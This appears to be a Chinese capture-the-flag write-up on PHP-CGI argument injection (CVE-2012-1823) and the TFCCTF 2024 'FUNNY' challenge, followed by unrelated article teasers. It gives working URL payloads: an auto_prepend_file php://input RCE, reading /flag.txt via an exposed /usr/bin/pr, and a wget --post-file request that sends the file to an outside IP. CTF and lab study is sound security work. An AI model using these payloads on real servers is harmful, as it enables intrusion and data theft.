【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

news2025/1/10 1:32:20

目录

背景 CVE-2012-1823

发散利用

法一:读文件

法二:数据外带 


背景 CVE-2012-1823

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌

省流:

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入

简单复现:

vulhub的环境

/index.php?-s

查看源码

文件包含RCE

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

  

发散利用

以TFCCTF 2024的FUNNY这题为例

附件中有这样一段配置

 

  1. ScriptAlias /cgi-bin /usr/bin:

    • ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin
    • 当访问 http://yourdomain/cgi-bin 时,服务器实际上会访问 /usr/bin 目录中的文件。
  2. Action php-script /cgi-bin/php-cgi:

    • Action指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。
    • 也就是说,当一个文件被指定为 php-script 类型时,服务器会将其传递给 /cgi-bin/php-cgi 进行处理。
  3. AddHandler php-script .php:

    • AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。
    • 这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件,并用 /cgi-bin/php-cgi 处理它们。
  4. <Directory /usr/bin>:

    • 该指令块定义了对于 /usr/bin 目录的访问控制规则。
    • Order allow,deny:这行定义了访问控制的顺序,首先 allow(允许)访问,然后 deny(拒绝)。这意味着所有未明确允许的请求将被拒绝。
    • Allow from all:这行允许所有来源的访问。

总的来说,这段配置定义了一个CGI环境,其中所有的 .php 文件会通过位于 /usr/bin 目录中的 php-cgi 脚本进行处理,并允许所有用户访问 /usr/bin 目录。

 扫目录

 

直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令

法一:读文件

类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input

会被执行为

#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input

这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是

#!/usr/bin/cat /flag.txt

 但操作后回显404,这意味着靶机/usr/bin下没有cat命令

尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显

/cgi-bin/nl?/flag.txt 

似乎不能读文件了

但其实可以 

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

 payload:

/cgi-bin/pr?/flag.txt

解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出

响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500

法二:数据外带 

curl回显404

用wget外带数据

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

目标执行#!/usr/bin/wget http://124.222.136.33:1337 ­d --post-file=/flag.txt

payload:

/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt

成功接收到文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987676.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

目标检测 | yolov4 原理和介绍

1. 简介 YOLOv4是一种高效且准确的目标检测模型&#xff0c;它在YOLOv3的基础上引入了多项改进&#xff0c;这些改进主要集中在网络结构的优化和训练技巧的更新上。以下是YOLOv4中的一些关键技术或模块&#xff0c;它们对提高目标检测性能起到了重要作用&#xff1a; CSPDarkne…

MATLAB基础应用精讲-【数模应用】配对样本Wilcoxon检验(附MATLAB、R语言和python代码实现)

目录 知识储备 常用的统计假设检验的方法 算法原理 什么是Wilcoxon符号秩检验? 何时使用Wilcoxon符号秩检验 适用条件 SPSS-符号秩检验 一统计理论 二实例分析 三拓展知识 SAS --配对样本Wilcoxon符号秩检验 SPSSAU 配对样本Wilcoxon检验案例 1、背景 2、理论 …

【C++指南】函数重载:多态性的基石

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《C指南》 期待您的关注 目录 引言 一、函数重载的概念 二、函数重载的原理 三、函数重载的应用场景 四、函数重载的规则 五…

springboot整合libreoffice(两种方式,使用本地和远程的libreoffice);docker中同时部署应用和libreoffice

一、 背景 因为项目中需要使用word转pdf功能&#xff0c;因为转换速度原因&#xff0c;最后选用了libreoffice&#xff0c;原因及部署请参考 linux ubuntu环境安装libreoffice&#xff0c;word转pdf 远程调用的话可选docker部署&#xff0c;请看2.3.1 二、springboot整合libr…

AT指令处理框架

<AT框架>做什么 <AT框架>介绍 ATFrame 流程 开启AT流程: ATCommandRegister(CSQ,EXEXCMD,NULL); 发送消息队列xQueueSend(ATcmdQueue,(void *) &RegcommandInfo,(TickType_t)100) AT主流程 ATCommandSendScheduler 等待开启xQueueReceive(ATcmdQueue, (voi…

详细分析python下载文件的两种方式(附Demo)

目录 前言1. 接口方式2. Nginx 前言 基本项目的构建推荐阅读&#xff1a;构建Flask前后端不分离项目&#xff08;附Python Demo&#xff09; 对于Java的基本知识&#xff0c;推荐阅读&#xff1a; java框架 零基础从入门到精通的学习路线 附开源项目面经等&#xff08;超全&…

Unknown input format pdf Pandoc can convert to PDF, but not from PDF.解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【Lua运行环境安装及配置】

首先在百度搜索“Lua菜鸟教程” 网址&#xff1a;Lua 教程 | 菜鸟教程 (runoob.com) 找到环境安装 点击Github下载地址&#xff0c;GitHub可以在正规上网下进入网址&#xff08;页面更新不出来多试几次&#xff09; 点击.exe安装 下载完成后进行安装 可自定义磁盘 项目文件很…

线程局部变量(ThreadLocal)

线程局部变量&#xff08;ThreadLocal&#xff09; 1、什么是ThreadLocal&#xff1f;2、基本用法3、注意事项 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 1、什么是ThreadLocal&#xff1f; ThreadLocal 是 Java 中用于实现线程局部变…

IEC 61850标准协议解读 1.建模讲解

IEC61850协议标准和之前的101、104协议最大的区分就是在模型这里&#xff0c;模型可以说是一个变电站里面的智能设备的定义&#xff0c;里面定义了网络连接信息、数据上报方式、设备访问控制点等&#xff0c;所以说在不同系统的对接过程中&#xff0c;有了这么一个基于标准定义…

sqliabs靶场练习

关卡 熟悉Mqsql相关命令Less-1Less-2Less-3Less-4Less-5Less-6Less-7Less-8Less-9Less-10 熟悉Mqsql相关命令 首先先熟悉一下Mysql的相关命令&#xff0c;可能在SQL注入的时候会用到。 1.查询服务器主机信息 HOSTNAME 主机名称 datadir——数据库路径 version_compile_os—…

JavaDS —— 红黑树

前言 还是一样&#xff0c;这里的红黑树重点讲述插入代码的实现&#xff0c;如果对红黑树的删除感兴趣&#xff0c;可以去翻阅其他资料。 在数据结构专栏中已经对 AVL 树的旋转调整做了分析和讲解&#xff0c;这里红黑树也会使用到旋转调整的代码&#xff0c;就不讲述旋转代码…

成都云飞浩容文化传媒有限公司怎么样可靠吗?

在数字经济浪潮汹涌的今天&#xff0c;电商行业作为推动经济高质量发展的关键引擎&#xff0c;正以前所未有的速度重塑着商业版图。在这场变革中&#xff0c;成都云飞浩容文化传媒有限公司凭借其专业的电商服务能力和前瞻性的市场洞察&#xff0c;成为了众多品牌商家信赖的合作…

助力草莓智能自动化采摘,基于嵌入式端超轻量级模型LeYOLO全系列【n/s/m/l】参数模型开发构建果园种植采摘场景下草莓成熟度智能检测识别系统

随着科技的飞速发展&#xff0c;人工智能&#xff08;AI&#xff09;技术已经渗透到我们生活的方方面面&#xff0c;从智能家居到自动驾驶&#xff0c;再到医疗健康&#xff0c;其影响力无处不在。然而&#xff0c;当我们把目光转向中国的农业领域时&#xff0c;一个令人惊讶的…

Git分布式版本控制--2+day018 LeetCode235 701 450

基础操作: 1.分支: 几乎所有的版本控制系统都以某种形式支持分支。 使用分支意味着你可以把你的工作从开发主线上分离 开来进行重大的Bug修改、开发新的功能&#xff0c;以免影响开发主线。 2.指令操作: 2.1 查看本地分支: git branch 2.2 创建本地分支: git branch 分支名…

Spring Boot 3.3 新特性介绍

1. 引言 Spring Boot 3.1.x 停止维护了&#xff0c;而 3.3.x 作为最新发布的版本&#xff0c;带来了许多新特性和改进。本篇文章将详细介绍这些新特性&#xff0c;并通过样例代码加以解释&#xff0c;帮助开发者更好地掌握和应用这些新功能。 Spring Boot 3.3现已正式发布&…

RNN循环网络层

文章目录 1、简介2、RNN 网络原理3、PyTorch RNN 层的使用3.1、RNN送入单个数据3.2、RNN层送入批量数据 4、RNN三个维度4.1、解释4.2、输入数据的组织4.3、示例4.4、为什么需要这种格式&#xff1f;4.5、小结 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&a…

【博士每天一篇文献-算法】持续学习经典算法之LwF: Learning without forgetting

1 介绍 年份&#xff1a;2017 作者&#xff1a;Zhizhong Li&#xff0c;Amazon AWS Rekognition&#xff1b;Derek Hoiem&#xff0c;伊利诺伊大学计算机科学教授 会议&#xff1a;IEEE transactions on pattern analysis and machine intelligence 引用量&#xff1a;4325 Li…

【NXP-MCXA153】开发板救砖教程

前言 新手接触到NXP的板子时&#xff0c;一个不留神把调试的GPIO&#xff08;RXD、TXD&#xff09;改掉&#xff0c;很容易出现MDK Keil无法识别CMSIS-DAP调试器的情况&#xff1b;主控进入了莫名其妙模式导致调试器无法识别了&#xff0c;你根本无法下载程序&#xff0c;想改…

大数据-67 Kafka 高级特性 分区 分配策略 Ranger、RoundRobin、Sticky、自定义分区器

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…